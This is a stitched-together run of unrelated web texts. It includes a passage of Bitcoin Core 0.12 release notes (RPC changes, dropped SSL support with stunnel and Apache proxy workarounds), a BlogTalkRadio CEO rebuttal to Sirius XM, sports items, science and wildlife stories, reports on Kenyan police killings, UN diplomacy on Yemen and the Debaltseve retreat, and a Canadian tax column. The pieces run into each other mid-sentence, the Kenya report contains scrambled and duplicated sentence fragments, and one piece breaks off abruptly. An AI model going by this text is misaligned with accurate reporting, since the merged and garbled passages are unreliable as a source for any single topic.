Command line options are now parsed strictly in the order in which they are specified. It used to be the case that -X -noX ends up, unintuitively, with X set, as -X had precedence over -noX. This is no longer the case. Like for other software, the last specified value for an option will hold.
RPC: Low-level API changes
Monetary amounts can be provided as strings. This means that for example the argument to sendtoaddress can be “0.0001” instead of 0.0001. This can be an advantage if a JSON library insists on using a lossy floating point type for numbers, which would be dangerous for monetary amounts.
The asm property of each scriptSig now contains the decoded signature hash type for each signature that provides a valid defined hash type.
OP_NOP2 has been renamed to OP_CHECKLOCKTIMEVERIFY by BIP 65
The following items contain assembly representations of scriptSig signatures and are affected by this change:
RPC getrawtransaction
RPC decoderawtransaction
RPC decodescript
REST /rest/tx/ (JSON format)
(JSON format) REST /rest/block/ (JSON format when including extended tx details)
(JSON format when including extended tx details) bitcoin-tx -json
For example, the scriptSig.asm property of a transaction input that previously showed an assembly representation of:
304502207fa7a6d1e0ee81132a269ad84e68d695483745cde8b541e3bf630749894e342a022100c1f7ab20e13e22fb95281a870f3dcf38d782e53023ee313d741ad0cfbc0c509001 400000 OP_NOP2
now shows as:
304502207fa7a6d1e0ee81132a269ad84e68d695483745cde8b541e3bf630749894e342a022100c1f7ab20e13e22fb95281a870f3dcf38d782e53023ee313d741ad0cfbc0c5090[ALL] 400000 OP_CHECKLOCKTIMEVERIFY
Note that the output of the RPC decodescript did not change because it is configured specifically to process scriptPubKey and not scriptSig scripts.
RPC: SSL support dropped
SSL support for RPC, previously enabled by the option rpcssl has been dropped from both the client and the server. This was done in preparation for removing the dependency on OpenSSL for the daemon completely.
Trying to use rpcssl will result in an error:
Error: SSL mode for RPC (-rpcssl) is no longer supported.
If you are one of the few people that relies on this feature, a flexible migration path is to use stunnel. This is an utility that can tunnel arbitrary TCP connections inside SSL. On e.g. Ubuntu it can be installed with:
sudo apt-get install stunnel4
Then, to tunnel a SSL connection on 28332 to a RPC server bound on localhost on port 18332 do:
stunnel -d 28332 -r 127.0.0.1:18332 -p stunnel.pem -P ''
It can also be set up system-wide in inetd style.
Another way to re-attain SSL would be to setup a httpd reverse proxy. This solution would allow the use of different authentication, loadbalancing, on-the-fly compression and caching. A sample config for apache2 could look like:
Listen 443 NameVirtualHost *:443 <VirtualHost *:443> SSLEngine On SSLCertificateFile /etc/apache2/ssl/server.crt SSLCertificateKeyFile /etc/apache2/ssl/server.key <Location /bitcoinrpc> ProxyPass http://127.0.0.1:8332/ ProxyPassReverse http://127.0.0.1:8332/ # optional enable digest auth # AuthType Digest #... # optional bypass bitcoind rpc basic auth # RequestHeader set Authorization "Basic <hash>" # get the <hash> from the shell with: base64 <<< bitcoinrpc:<password> </Location> # Or, balance the load: # ProxyPass / balancer://balancer_cluster_name </VirtualHost>
Mining Code Changes
The mining code in 0.12 has been optimized to be significantly faster and use less memory. As part of these changes, consensus critical calculations are cached on a transaction’s acceptance into the mempool and the mining code now relies on the consistency of the mempool to assemble blocks. However all blocks are still tested for validity after assembly.
Other P2P ChangesSo today’s article in the New York Post headlined “Downed Satellite” includes a one-line quote from me:
“‘I don’t think making people pay subscriber fees for content is sustainable,’ said BlogTalkRadio CEO Alan Levy.”
The quote elicited a somewhat harsh response from the newly-merged Sirius XM satellite radio network. Chief Financial Officer David Frear tried to dismiss my comment by asking:
“We generated $2.3 billion in revenue for the trailing 12 months, how much did BlogTalkRadio generate? Do they have a viable business plan?”
Before I respond to David’s question regarding the viability of our business plan, let me elaborate on why I think Sirius XM is in for hard times. Here’s a list of obstacles I see hindering satellite radio’s growth:
• The cost of content is way too high. Howard Stern, the $500 million man, is reported to have only 1.2 million listeners to his show a week. And those are not unique listeners. Howard has far and away the largest audience on Sirius. (Take a look at the numbers reported just nine months ago in The Daily News.) Notwithstanding the huge contracts awarded to Rush Limbaugh and Sean Hannity, I believe the days of big radio contracts are over.
• Cars are being equipped with devices that can accommodate Internet surfing. Why subscribe to Sirius XM when passengers can access their Last.fm, Yahoo or Pandora playlists? There are endless choices for streaming music, all far more appealing than the choices offered by satellite radio.
• Cars are also being equipped with iPod jacks and other MP3 accessories.
• When cars can accommodate the Web, why should someone pay a subscription fee for CNN or Fox News when content can be streamed directly off those websites for free?
• There’s a limit to the number of channels – and, thus, content – that can be distributed on the Sirius XM network. In July, more than 4,000 hosts produced tens of thousands of hours of programming on BlogTalkRadio. How many hours of programming did Sirius and XM offer?
• While I haven’t scoured Sirius and XM’s annual reports to determine the cost of maintaining a satellite network, there’s no doubt that a low-cost, Internet-based model for creating and distributing content is far more appealing to investors.
• We live in an on-demand TiVo world. To date, BlogTalkRadio has produced more than 110,000 discrete shows, all of which are accessible via our network. Audiences want to consume content when they want it and not when it’s scheduled. Does Sirius XM make all its content available in archives?
Of course, what do I know? As Sirius XM’s CFO asks, “Do they have a viable business model”?
Let’s see…
• Unlike satellite or traditional terrestrial radio, our costs to produce, distribute and store content is negligible.
• We have more than three million listeners per month to shows whose topics range from politics to entertainment to sports to parenting to paranormal. Our hosts produce more than 500 live shows a day, and there is no limit on the number of shows or hosts the BlogTalkRadio radio network can accommodate.
• We aggregate programming by topic, thereby offering a far more targeted audience to our customers.
• Lastly, we license privately-branded radio networks to major companies and organizations, including the Department of Defense, Sun Microsystems, HarperCollins and Golf Magazine.
It’s an interesting debate, and one I’m looking forward to engaging in as it develops.
AlanGetty Images
Well, at least Falcons quarterback Matt Ryan has healthy receivers this year.
Offensive linemen, not so much.
The Falcons just announced a flurry of moves, which included putting two more starting offensive linemen on injured reserve.
They announced that center Joe Hawley (knee) and right tackle Lamar Holmes (foot) were going on IR, where they’ll join left tackle Sam Baker (knee).
They also placed safety William Moore (shoulder) on IR/designated for return, which will allow him to come back after eight weeks.
To fill the roster spots, the Falcons promoted guard Harland Gunn and safety Sean Baker from the practice squad, and signed former Jaguars tackle Cameron Bradfield.
That’s going to make a real hash of their offensive line, but no worse than it was Sunday, when they had to use tight end Levine Toilolo as their right tackle to finish the game when injuries collected at one spot.Scientists have discovered for the first time how humans - and other mammals - have evolved to have intelligence
Scientists have discovered for the first time how humans - and other mammals - have evolved to have intelligence.
Researchers have identified the moment in history when the genes that enabled us to think and reason evolved.
This point 500 million years ago provided our ability to learn complex skills, analyse situations and have flexibility in the way in which we think.
Professor Seth Grant, of the University of Edinburgh, who led the research, said: "One of the greatest scientific problems is to explain how intelligence and complex behaviours arose during evolution."
The research, which is detailed in two papers in Nature Neuroscience, also shows a direct link between the evolution of behaviour and the origins of brain diseases.
Scientists believe that the same genes that improved our mental capacity are also responsible for a number of brain disorders.
"This ground breaking work has implications for how we understand the emergence of psychiatric disorders and will offer new avenues for the development of new treatments," said John Williams, Head of Neuroscience and Mental Health at the Wellcome Trust, one of the study funders.
The study shows that intelligence in humans developed as the result of an increase in the number of brain genes in our evolutionary ancestors.
The researchers suggest that a simple invertebrate animal living in the sea 500 million years ago experienced a 'genetic accident', which resulted in extra copies of these genes being made.
This animal's descendants benefited from these extra genes, leading to behaviourally sophisticated vertebrates - including humans.
The research team studied the mental abilities of mice and humans, using comparative tasks that involved identifying objects on touch-screen computers.
Researchers then combined results of these behavioural tests with information from the genetic codes of various species to work out when different behaviours evolved.
They found that higher mental functions in humans and mice were controlled by the same genes.
The study also showed that when these genes were mutated or damaged, they impaired higher mental functions.
"Our work shows that the price of higher intelligence and more complex behaviours is more mental illness," said Professor Grant.
The researchers had previously shown that more than 100 childhood and adult brain diseases are caused by gene mutations.
"We can now apply genetics and behavioural testing to help patients with these diseases", said Dr Tim Bussey from Cambridge University, which was also involved in the study.
###
The study was funded by the Wellcome Trust, the Medical Research Council and European Union.Scorpions glow under black lights. The glow comes from a substance found inside a hard-and-thin coating on the scorpion’s exoskeleton. Scientists are not sure what purpose it serves. Some say it is to confuse prey; others believe it is to protect scorpions from sunlight.
There are 1,800 types of scorpions in every place on the planet except for the Arctic, and more than 50 species in the Sonoran Desert, which covers much of the state. At no more than three inches long, bark scorpions are the smallest, most common and most dangerous — “the only one of them considered to be life-threatening,” said Keith Boesen, director of the Arizona Poison and Drug Information Center, housed at the University of Arizona College of Pharmacy in Tucson.
On average, the center and its counterpart in Phoenix log 12,000 reports of scorpion stings each year, though many more go unreported because people treat them at home. Children, older adults and those who are infirm are particularly vulnerable and should seek immediate help if they get stung, Dr. Boesen said. Deaths are rare — there was one in 2013 and another some 10 years earlier, he said.
Still, pain and discomfort from a scorpion’s sting are inevitable and the reactions can range from scary to bizarre.Welcome to What's New in The New 52 – where you, the fans, get a sneak peek at the stuff that crosses our desks. This little feature is a way to keep you all in the loop about what's new, different and exciting in The New 52 – whether it's a character design, cover, splash page or panel.
You already know that beginning with October’s issue #25, artist Rafael Albuquerque will joining writer Jeff Lemire on the creative team of the acclaimed and New York Times bestselling series, ANIMAL MAN. Today, we’re giving you a first look at Albuquerque’s distinctly creepy and beautiful interior art for the series.
If you’re a fan of Albuquerque’s AMERICAN VAMPIRE material, you’ll more than love his interpretation of ANIMAL MAN. Blending his unique blend of horror with his remarkable ability to convey emotion, Albuquerque is truly bringing his A-game to this series. Just look at how brilliantly expressive his work is!
But this interior art sneak peek is not the only treat we have for you Albuquerque fans today. In the gallery above, take a first look at a house ad that will begin to run in the back of our books in a few weeks. This specially commissioned piece of artwork finds Albuquerque drawing a “For Your Consideration” poster for Buddy Baker’s Best Actor nomination at the Hollywood Film Awards. But will Buddy win this prestigious award? And how will that impact his family?
Find out soon,
BobMombasa, Kenya - It was 4am when Nadiya Ahmed awoke to a loud bang in her house in Floringi village near the southern Kenyan city of Mombasa. Ahmed cautiously walked into the living room to find heavily armed police officers dressed in military fatigues and bulletproof vests.
"They were so many of them. They looked as if they were going to war," Ahmed told Al Jazeera. The police ransacked the house, turning mattresses upside down, and taking photographs of her. A few minutes later, she heard her son, Idris Mohamed, 26, call out to the officers from inside the house.
"I have surrendered," Ahmed recalled him saying. She said the police then stripped her son naked, handcuffed Idris, and shot him three times, killing him instantly. Kenyan police have long been accused of extrajudicial killings [Zahra Moloo/Al Jazeera]
A police post-mortem statement said the officers were given a tip-off about Idris "who was later confirmed to have been a wanted criminal" with a warrant out for his arrest.
But the original name on the postmortem form and criminal case number belong to his brother, Ismael Mohamed. The name had been crossed out and replaced with "Idris Mohamed".
"The police postmortem report seems like it was compiled in advance. The police had planned to kill his brother, Ismael Mohamed," said Fahad Changi from the NGO group Muslims for Human Rights.
Idris Mohamed had no prior criminal record. Ismael Mohamed had been charged with assault, was released on bail, but failed to appear in court. Ahmed said she doesn't know his whereabouts.
Robert Kitur, the Mombasa county police commander, told Al Jazeera after the incident that both brothers were involved in "terrorism" and police were continuing to hunt for Ismael. When asked by Al Jazeera why the police killed Idris Mohamed, Kitur said: "We cannot call that one extrajudicial. We had information about him." He refused to discuss further details about the shooting.
Ahmed, however, insisted her son was innocent. "My son Idris was not a terrorist. And if he was guilty of anything, he had surrendered and they had handcuffed him. So why did they have to kill him?"
Extrajudicial killings
The September 14 Kenya's main port of Mombasa, a city that has seen a spate of attacks in recent years, some claimed by the armed Somalia-based group al-Shabab. killing of Idris Mohamed was the latest in a series of police killings of suspects inMombasa, a city that has seen a spate of attacks in recent years,
Dickson Karisa, a relative of Kwekwe Mwandaza, 14, points to a bullet hole in the house where the girl was killed [Zahra Moloo]
Public outrage erupted in August after Kwekwe Mwandaza, 14, was shot dead by police who raided her home in Kwale district looking to arrest the girl's uncle, a murder suspect. Two police officers said the teenager attacked them with a machete. They were arrested and later released on bail.
Investigations by human rights organisations suggest extrajudicial killings are on the rise across the country.
176 extrajudicial killings took place between January and September 2014. A report released last month by the Independent Medico-Legal Unit (IMLU) found thattook place between January and September 2014.
The IMLU reported 143 extrajudicial killings in Kenya in 2013. A ccording to IMLU, these figures do not include the killing of terrorism suspects. Seven people were reportedly killed extrajudicially in Mombasa and Meru, it said.
Hussein Khalid, executive director of activist group Haki Africa, said the death toll for Mombasa is likely much higher.
"We have documented at least 30 fatal shootings and disappearances by |
20 years ago, in this case Yemenis were told there would be a pause, and some perhaps relied on it, to their detriment. And still the UN had said nothing.
After the July 9 announcement, Inner City Press asked Ban's spokesman if the Saudis had been spoken with. The answer was, Hadi told the Saudis his position. But did Hadi ever agree to the pause, or just to the conditions set forth in his letter to UN? What of Hadi's responsibilities to the Yemeni people?
Now Saudi Al Arabiya has said Saudi Arabia never received any communication from Hadi to stop airstrikes, here. Someone is lying.
Where is the UN's replacement envoy Ismail Ould Cheikh Ahmed? Headed to Ethiopia, Ban's spokesman said, to meet with Ban on the sidelines of the Financing for Development conference there. Does IOCA harbor ambitions for another UN system post, or back in his own country? What sort of a track record is this? Watch this site.
At the July 10 UN noon briefing in New York, Inner City Press asked Ban Ki-moon's spokesman Stephane Dujarric if the UN had spoken with those in Yemen opposing the Houthis but not supporting or in contact with Hadi. Video here. From Dujarric's answer, it seems no such contact has been made.
So, Inner City Press asked, if such a group fires on the Houthis and they fire back, is the pause over, has it been violated? We'll see what happens.
Back on July 9, Inner City Press asked UN Spokesman Stephane Dujarric, transcript here:
Inner City Press: can you, one, characterize not the communications with Mr. Hadi, but with Saudi Arabia that's running the coalition, the Saudi-led coalition. And does this mean the Secretary-General's understanding is no airstrikes during this time period, and no further advances or use of heavy weapons by the Houthis? Does the pause mean no firing? What does it mean to each of those two sides?
Spokesman Dujarric: What it means is that, if you read the statement, the President… Secretary-General notes that the President, President Hadi, has communicated his acceptance of the pause to the coalition to ensure their support. A humanitarian pause means no fighting. It means no bombing. It means no shooting. It means no fighting. It means exactly that: a humanitarian pause in the fighting that we've seen, to enable our humanitarian colleagues to get the aid to where it's needed, to preposition, and stockpile, and to reach the millions that need it.
Inner City Press: Right. But just for example, policing, who's doing policing in these various cities? Things happen.
Spokesman Dujarric: Obviously I think… [cross talk] In any area in the country, there is a… there is de facto control and, obviously, there is a need to ensure safety and security. What we're talking about is a humanitarian pause in the fighting that we've been witnessing for weeks on end now.
Inner City Press: So just one last thing on this. So the commitment on airstrikes is through President Hadi to the UN?
Spokesman: You know, the… [cross talk] Obviously, President Hadi is a critical interlocutor with the coalition. And as I've said, we've taken note of the fact that he's conveyed to the coalition his acceptance. We expect everyone involved in this conflict to honor this humanitarian pause.
On July 7 the UN's Office of the High Commissioner for Human Rights upped its estimate of civilians killed since March 27 to 1,528, adding that one million people have been displaced since the beginning of this round of the conflict. To the Saudi airstrike on UNDP in Khormaksar, Aden, OHCHR added that "IOM’s Migrant Response Centre in Basateen, also in Aden, was struck by a mortar and an airstrike damaged IOM’s office in Harad."
IOM, as Inner City Press reported, had earlier paused its evacuation by air of those seeking to flee Yemen due to some party, which it left unnamed, demanding information about those fleeing BEFORE the flights could leave. Inner City Press has asked others in the UN about this and has been told IOM should have done the screening after the people were able to flee. IOM refused a direct question about caused it to violate this best practice, then stopped sending the Press any information.
There are countries, normally vocal about civilian deaths, which are selling military equipment to Saudi Arabia and its Gulf allies. Ban Ki-moon, now in Oslo, is relying entirely on Saudi-selected replacement envoy Ismael Ould Cheikh Ahmed, who was unable to even get the parties in the same room in Geneva, much less reach an agreement. There remain, for now, OHCHR's body counts.
On June 24, Inner City Press asked the UN's replacement envoy Ismail Ould Cheikh Ahmed about the request by the Houthis and others to meet not with him but with Secretary General Ban Ki-moon, who did not meet with them in Geneva. Transcribed here.
On June 25 Inner City Press asked Ban's deputy spokesperson Farhan Haq to confirm receipt of the letter and if Ban will meet them. Haq said Cheikh Ahmed is the envoy, and Ban's headed to San Francisco. The UN Security Council issued a Press Statement, here.
Also on June 25, Inner City Press asked new UN aid chief Stephen O'Brien three questions about Yemen: cholera, the destruction of ambulances in Sa'ada and about international staff. Video here.
O'Brien replied that cholera is a risk; he had no information on WHO it was that destroyed the ambulances in Sa'ada (we can guess.) On international staff, which the UN evacuated earlier, he spoke of a rise from 17 to 70, with the goal of getting to 200. He would not say if they are anywhere in the country outside of Sana'a, citing security. But at least he spoke - the Free UN Coalition for Access thanked him.
Here's from the June 24 stakeout, as fast transcribed by Inner City Press:
Inner City Press: On the parties in Sanaa requesting to meet the Secretary General – what’s your response?
Cheikh Ahmed: "This question was raised during our discussion with the Houthis, the GPC and their allies. The Secretary General had delayed twice his travel in order to be there for the parties. We have sent twice a plane from Sanaa which the delegation from Sana'a could not take.. Therefore the Secretary General had a major engagement, which was the election of the new president of the General Assembly which takes place only once a year, and he had to attend it. But the Secretary General will continue being engaged on this."
The ceremonial elevation of the President of the GA who will take over in September was not an election at all - no vote was taken. At the top, Cheikh Ahmed said (again, as fast transcribed by Inner City Press)
"I just briefed the Security Council on the latest developments in Yemen, with a particular focus on the Geneva Consultation. I informed the Council that the Geneva intra-Yemeni Consultations are a milestone... Despite the raging battles and ongoing violence, and the dramatic humanitarian situation, Yemenis accepted the Secretary General’s invitation and participated in the consultations.
"The personal presence of the Secretary General was an indication of the primary importance attached by the United Nations and the international community, and in particular the Secretary General himself on the Yemeni situation. I deeply regret the deep division between the parties and the lack of compromise that prevented an agreement that was within reach. The holding of the Geneva consultation was itself a great achievement in light of the extreme violence unleashed in Yemen.
"While the government came to Geneva to seek the implementation of Security Council Resolution 2216, the government acted in a positive and constructive spirit. Both sides showed signs of constructive engagement. There is an emerging common ground upon which we can build to achieve a ceasefire coupled with a withdrawal.
"While we pursue a long term cessation of violence, I call on all relevant parties to agree without delay to the humanitarian truce, especially during Ramadan. We should not forget that Yemenis are living under dire conditions and it pains me to witness this ongoing suffering. I call on all stakeholders to spare no effort to help us achieve a temporary respite for the Yemeni people.
"I am aware that reviving the political process will not be easy. The Secretary General and I have been clear from the outset that this consultation was only a stepping stone towards the long inclusive political process. All the parties affirmed their commitment to remain engaged with the UN in search of a peaceful solution of the conflict. I have no doubt that it is possible to build upon this positive spirit in the forthcoming consultation.
"I strongly believe that the UN facilitated intra-Yemeni consultations offer the best chance for moving towards a de-escalation of the crisis and a return to the political process. I personally believe there is no military answer to this conflict. I therefore remain committed and will spare no effort to achieve a cease fire and the swift return to a peaceful, inclusive political process."
Before the meeting, UK Ambassador Matthew Rycroft stopped and told the press of the danger of famine in the country, and of his hope for a Yemen Press Statement from the UNSC, in which the UK is the "penholder" on Yemen. Periscope video here, replay including on desktop for 24 hours.
Inner City Press was digging into the letter from political parties IN Yemen, asking for a meeting with Ban Ki-moon, NOT with replacement envoy Cheikh Ahmed. These parties, including but not limited to the Houthis, were delayed in getting to Geneva so that they could not meet with Ban (who while there DID meet with a US-listed Al Qaeda terrorist).
While some are sure to argue that Ban now meeting with the parties would undercut Cheikh Ahmed, others point out the the underlying resolution speaks of the Secretary General's Good Offices INCLUDING his Envoy. The envoy is not the only game in town - nor, given his lack of disclosure, raised by Inner City Press, should he be. We'll have more on this.No VR system is perfect. PC VR relies upon you buying an expensive headset to sit alongside your already expensive computer, while mobile VR makes use of the hardware you already have in your phone while being limited by that same hardware.
Intel's new system wants to combine the benefits of the two in order to overcome the disadvantages by streaming VR content from a powerful PC to a mobile phone acting as a headset.
Called 'Portal Ridge', the system makes use of existing hardware from HTC including its Vive controllers, basestations, and a Vive tracker (to track the position of the headset) to combine the benefits of a gaming PC and your mobile.
Technical limitations
At an event in San Francisco, Intel demoed the system working with a Google Pixel phone. Visual data was streamed over Wi-Fi, and first hand reports from RoadtoVR suggest that this has lead to a certain amount of compression visible in the image.
Latency is also apparently a problem with the system.
Although the system is clearly a work in progress, it is an interesting look at how consumer's existing hardware could be made to work with VR rather than having to buy entirely new equipment.
Intel has no plans to commercially release the technology at this time, but has said that it's open to working with partners to produce it in the future.Share it? Facebook
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A woman filed a suit against Kenichi Shinoda, chief of the Yamaguchi-gumi gang, demanding a refund of the protection money she paid to the group.
The woman, who wanted to remain anonymous, is a former restaurant owner who is asking Kenichi Shinoda Y 17.35 million (($174,200; £115,000) in refunds. The woman’s action in court is backed by of a crime law revisited in 2008 which says that heads of organizations can be held liable for damage done by its members and affiliate groups, the international media reports.
According to the local press, this might be the first legal action of this kind in Japan. The woman reportedly paid Y 10.85million ($109,000, £72,000) in protection money over 12 years. When she wanted to stop paying for protection, a gang member threatened to torch her restaurant, the woman’s lawyers said.
The Yamaguchi-gumi make up over 40% of Japan’s organized crime gang members, police figures show. Japan’s gangs, also known as yakuza groups, are not illegal but they are said to be involved in crime activities such as prostitution, drug dealing and stock market manipulation.With transfer season upon us, countless players around the world will be joining new teams. While most of the top American players have stable club situations, several would benefit from a change of scenery. Here are five Americans in need of transfers or loans.
Aron Johannsson
Aron Johannsson has struggled with serious injuries since the 2014/2015 season, but finally appears to be healthy. He only made three appearances, totaling 51 minutes, for Werder Bremen after the Bundesliga winter break. It seems unlikely that Johannsson will be able to break into Bremen’s starting lineup. He needs to find a new club, but after many injuries it’s unclear if he’s still the same player he once was. A transfer to an Eredivisie, MLS, or Bundesliga team would be a good fit.
Cameron Carter-Vickers
The 19-year-old Tottenham center back is an exciting prospect. Cameron Carter-Vickers was often on Tottenham’s matchday roster this past season, but failed to make a Premier League appearance. Carter-Vickers played decently for the United States at the 2017 U-20 World Cup, but showed rust at times with several significant mistakes. He appears to be part of Tottenham’s future plans and should look for a loan move to an English Championship or League One side.
Perry Kitchen
Perry Kitchen’s time with Heart of Midlothian quickly took a bad turn. Kitchen began the season as Hearts captain and was a 90 minute starter. After new manager Ian Cathro was brought in, Kitchen lost his captaincy. He spent the last five games of the year on the bench and needs a change of scenery to get back into the USMNT picture. Kitchen should look to join a Belgian or MLS side.
Matt Miazga
Matt Miazga is all but guaranteed to spend the season on loan away from Chelsea. Miazga is buried on the Chelsea depth chart and won’t break into the first team anytime soon. A transfer away from the club would be beneficial, but seems unlikely. Miazga established himself as an important player for Vitesse last season, helping the club win the Dutch Cup. Miazga’s best options are returning to Vitesse or joining a Bundesliga team.
Julian Green
Julian Green was undoubtedly overhyped by U.S. fans and former manager Jurgen Klinsmann. He is still only 22 years old and has time to resurrect his career. Green failed to break into 2. Bundesliga side Stuttgart’s starting eleven and is in desperate need of playing time. He needs to move to another 2. Bundesliga side or an MLS club, to receive consistent minutes.
What Americans would you like to see move this summer?ARTEMIVSK/BULAVYNE, Ukraine (Reuters) - Ukraine pulled thousands of troops out of an encircled town on Wednesday after a massive assault by pro-Russian rebels, who ignored a new ceasefire to seize the strategic railway junction.
The fall of the besieged town of Debaltseve was one of the worst defeats of the war for Ukraine’s troops, who proved unable to stop an advance by Moscow-backed rebels fighting for territory the Kremlin calls “New Russia”.
Twenty-two Ukrainian soldiers had been killed in the town in the past few days, the Ukrainian military high command said, with more than 150 wounded.
President Petro Poroshenko, who flew to the frontline, nevertheless tried to cast the battle in a positive light, saying that by holding out as long as they had, Ukraine’s troops had exposed “the true face of the bandits and separatists who are supported by Russia”.
The Ukrainian troops had held out for three days beyond the start of a Europe-brokered ceasefire, forcing the rebels to disavow the truce to pursue their advance on the town.
Ukrainian troops, their faces blackened, some in columns, some in cars, arrived in Artemivsk, about 30 km (20 miles) north of Debaltseve in government-held territory.
Fighting did not halt with the retreat. A Reuters correspondent near Debaltseve saw black smoke rising over the town and heard loud blasts hours after the withdrawal began.
“One hundred and sixty-seven wounded have been taken to Artemivsk. They did not pick up a lot of bodies. I don’t know the total figure,” Semen Semenchenko, who heads the Donbass paramilitary battalion, said on Facebook.
Eighty percent of the troops had withdrawn from the town by morning, Poroshenko said, and the rest were leaving in what he described as a planned and orderly withdrawal. He said the force withdrawing numbered more than 2,000 men.
The rebels described the battle as a victory and said they let the Ukrainian troops leave only after they were defeated.
“There were no attempts by Ukrainian forces to break through. The surrounded Ukrainian forces were completely demoralised. They lost their direction. They began shooting at residential areas of Debaltseve,” said a senior rebel commander, Eduard Basurin.
PUTIN SAYS SURRENDER
Despite drafting a U.N. Security Council resolution that called on all sides to cease fighting, Russia never criticised the rebel advance on Debaltseve. Hours before the town fell, President Vladimir Putin told Ukraine it should let its men surrender to save their lives.
The rebel advance drew denunciations from Western powers who accused Moscow of sending its armed forces to fight on behalf of the separatists in clear violation of the ceasefire negotiated with Germany and France last week in the Belarus capital Minsk.
Western countries pour scorn on Russia’s denials that it aids the rebels. NATO says hundreds of Russian troops are fighting in eastern Ukraine with advanced weapons systems.
Nevertheless, the Western outrage was tempered by hope that Putin and the rebels would now halt their advance and allow the peace deal to take effect, having achieved their immediate objective in a war that has killed more than 5,000 people.
Ukrainian servicemen ride on a tank as they leave an area around Debaltseve, eastern Ukraine near Artemivsk, February 18, 2015. REUTERS/Gleb Garanich
While Washington and its European allies threatened to impose new economic sanctions on Moscow if fighting did not end, they were also careful to say the peace deal was still alive.
“We don’t consider it dead,” U.S. State Department spokeswoman Jen Psaki said in Washington. “We still need time for the agreement to work through.”
A German government spokesman said the Minsk agreement had been damaged but it still made sense to try to implement it.
From the moment the ceasefire took effect on Sunday, the rebels maintained that it did not apply to Debaltseve, a strategic location which links the main rebel-held areas.
With Debaltseve now in their hands, they indicated they would now start implementing the truce, announcing that they were pulling back heavy weapons from the front.
White House spokesman Josh Earnest said it was clear that Moscow and the separatists had not lived up to the terms of the ceasefire, and “their failure to do so does put them at risk of greater costs”.
U.S. President Barack Obama has said he is making up his mind whether to provide weapons to Kiev. Earnest said he had no update on that decision.
European countries fear that sending weapons would backfire by escalating the conflict without providing Kiev enough fire power to win it. The EU is instead considering tighter economic sanctions, although these require unanimity among 28 members which is difficult to achieve.
EU foreign policy chief Federica Mogherini said in Brussels the rebels’ actions were in clear violation of the ceasefire and “the EU stands ready to take appropriate action in case the fighting and other negative developments in violation of the Minsk agreements continue.”
Slideshow (7 Images)
For Poroshenko, ordering the retreat may have saved the lives of thousands of Ukrainian soldiers. But another military defeat, coming as Ukraine approaches the first anniversary of the overthrow of the Moscow-backed president Viktor Yanukovich, may be difficult to stomach for a population weary of a long conflict.
Russia has already annexed Ukraine’s Crimea Peninsula, and Western countries believe Putin’s goal is to establish a “frozen conflict” in eastern Ukraine, gaining permanent leverage over a country of 45 million people seeking integration with Europe.Okay, now can we get serious about tax reform? With the passage of a landmark tax bill now seemingly assured in the U.S. Congress — the final vote should come next week — what was until lately a maybe-someday issue has become an urgent priority.
Whatever the bill’s impact, for good or ill, on the U.S. economy, there can be little doubt that, with a top personal rate of 37 per cent (down from 40 per cent) and a corporate rate of just 21 per cent (down from 35 per cent), it puts Canada under significant competitive pressure.
The top rate of personal income tax in much of Canada is in excess of 53 per cent, federal and provincial combined; south of the border, in most states it will now be in the mid-40s or less. As for the corporate tax, the economist Jack Mintz has calculated, based on an earlier version of the bill, it will result in a near-halving of the marginal effective tax rate on investment, federal and state combined. Where before it was about 15 points higher than in Canada, it will now be the same or even lower.
If the success of U.S. tax reform demands a matching effort at reform here, there are more compelling reasons to do so in the long run. Put simply, the Canadian tax system is a creaking, productivity-killing wreck: hugely over-complicated, and riddled with unjustified deductions and exemptions that distort economic decisions and bleed the government of revenues, recouped by much higher tax rates than would otherwise be the case.
Yet so attached are their beneficiaries to these tax preferences that governments are reluctant to touch them. Just to reform one of them — the special low rate of tax on small private corporations — was enough to set off the current brawl, and the government wasn’t even proposing to take it away: just to limit, somewhat, people’s ability to exploit it.
One lesson of this experience is the inadvisability of piecemeal reform. A broader reform effort that eliminated a large number of preferences at the same time would avoid charges that a given sector had been unfairly singled out; as important, it would generate the revenues needed to make deep cuts in tax rates, ensuring there are as many winners from the exercise as losers.
The Senate Finance Committee may have been off the mark this week in recommending the government withdraw its proposed small business tax changes, but it was right to say a more fundamental reform of taxation is in order. The committee, what is more, is hardly alone: calls for sweeping tax reform have lately been coming from a number of quarters, including the Business Council of Canada as well as the government’s own Advisory Council on Economic Growth.
Yes, but do we have to? Hasn’t Canada done pretty well with our present tax system? Aren’t I the one who’s always rabbiting on about how median incomes have grown by 25 per cent after inflation over the last twenty years? Don’t we enjoy among the highest standards of living in the world?
Yes, we do. But the factors that made that prosperity possible are no longer present. The long boom in the prices of oil and other commodities we sell on world markets is over, and unlikely to be repeated. More certain is the epochal demographic change on which we are embarked: the growing numbers of the elderly, and the consequently smaller share of the population of working age.
Much of the growth we have experienced until now has been fuelled, not by increases in productivity — more output per worker — but simply by adding more workers: between the Baby Boom and the historic surge in the numbers of women seeking paid work, labour was in plentiful supply. With the workforce projected to grow much more slowly in future years the long-run growth rate in the economy is likewise projected to slow: to just 1.5 per cent annually, according to the Advisory Council’s latest report, from the 3 per cent typical of recent decades.
Whatever the bill's impact, for good or ill, on the U.S. economy, there can be little doubt that it puts Canada under significant competitive pressure
Which would be bad enough, even without its corollary: massive increases in costs, mostly for health care, to look after all those now retired Boomers. The Parliamentary Budget Office’s recent report projects the share of GDP going to health care will rise by seven percentage points in the coming decades.
This implies a similar increase in revenues (as it happens, seven percentage points of GDP is about as much as the federal government now collects in personal income taxes). Yet there’s only so much money governments can squeeze out of an economy by raising taxes. Better by far to raise output — the base on which taxes are applied. And the only way we’re going to be able to do that is by a sustained increase in national productivity, at much higher annual rates than we have been used to
Enter tax reform. While there are other things we can do to spur productivity (for example, opening protected sectors of the economy to greater competition), tax reform is essential. The tax preferences now on the books never made much sense. In our current circumstances, they are intolerable.
The aging of the population is sometimes likened to a tsunami, for dramatic effect. As Bill Robson, president of the C. D. Howe has argued, it is better compared to a glacier. To be sure, glaciers move slowly, almost imperceptibly. But they also tend to crush everything in their path.SKC Nation,
The wait is just about over.
Wednesday night is our biggest match of the season thus far. This is when we have another opportunity to paint the wall. This is when you will remind the country where the best fans in Major League Soccer reside.
As our supporters, you are the lifeblood of this club. You are the energy and the passion that help us find an extra gear when we need it most. On championship nights like these, your screaming and chanting and unwavering belief makes all the difference.
We saw this in the 2012 Open Cup Final, and again in the 2013 MLS Cup, two of the most unforgettable nights of my life.
We also saw this in 2015 when we fought for the Open Cup title away from home. Whether you were watching from your living room, with your friends at a bar, or were fortunate enough to be in Philadelphia on that special night, we felt you.
